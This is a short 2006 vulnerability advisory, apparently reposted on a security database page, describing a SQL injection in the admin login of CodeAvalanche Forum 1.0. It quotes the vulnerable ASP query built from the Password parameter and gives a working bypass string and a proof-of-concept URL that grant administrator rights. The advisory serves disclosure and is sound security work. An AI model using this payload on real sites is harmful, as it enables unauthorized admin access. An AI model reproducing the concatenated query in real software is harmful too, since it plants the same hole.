CA Forum Remote SQL Injection

2006.06.06
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

------------------------------------------------------------------ - CAForum 1.0 Remote SQL Injection - -= http://colander.altervista.org/advisory/CAForum.txt =- ------------------------------------------------------------------ -= CodeAvalanche Forum Version 1.0 =- Omnipresent june 01, 2006 Vunerability(s): ---------------- SQL Injection Product: -------- CodeAvalanche Forum Version 1.0 Vendor: -------- http://www.truecontent.info/codeavalanche/asp-forum-script.php Description of product: ----------------------- CodeAvalanche FreeForum is asp forum application which allows free posting, there is no needs for registration of your visitors. Administrator can add unlimited number of forum categories. Vulnerability / Exploit: ------------------------ In the file default.asp in Admin directory is vulnerable to an Remote SQL Injection Attack. A malicious people can gain Admin rights by putting rights parameters in the Password Variable. Let's Check the source code: <% Response.Buffer = True userLogged=false If Request("Password")<>"" Then 'response.Write(Request("Password")) 'response.flush dim rsUser,selectSQL selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") & "'" [...] [End default.asp] As you can see the variable Password is not properly sanitized before be used, so an attacker can put this string in the password field: 1' OR '1' = '1 So, the query will be: selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1' And you can gain access to the application with admin rights. PoC / Proof of Concept of SQL Injection: ---------------------------------------- This is a simple Proof Of Concept used on my local machine: http://127.0.0.1/[Application_Path]/[CAForum]/admin/default.asp?password =1'%20OR%20'1'%20=%20'1 Vendor Status ------------- Not informed! Credits: -------- omnipresent omnipresent (at) email (dot) it [email concealed]


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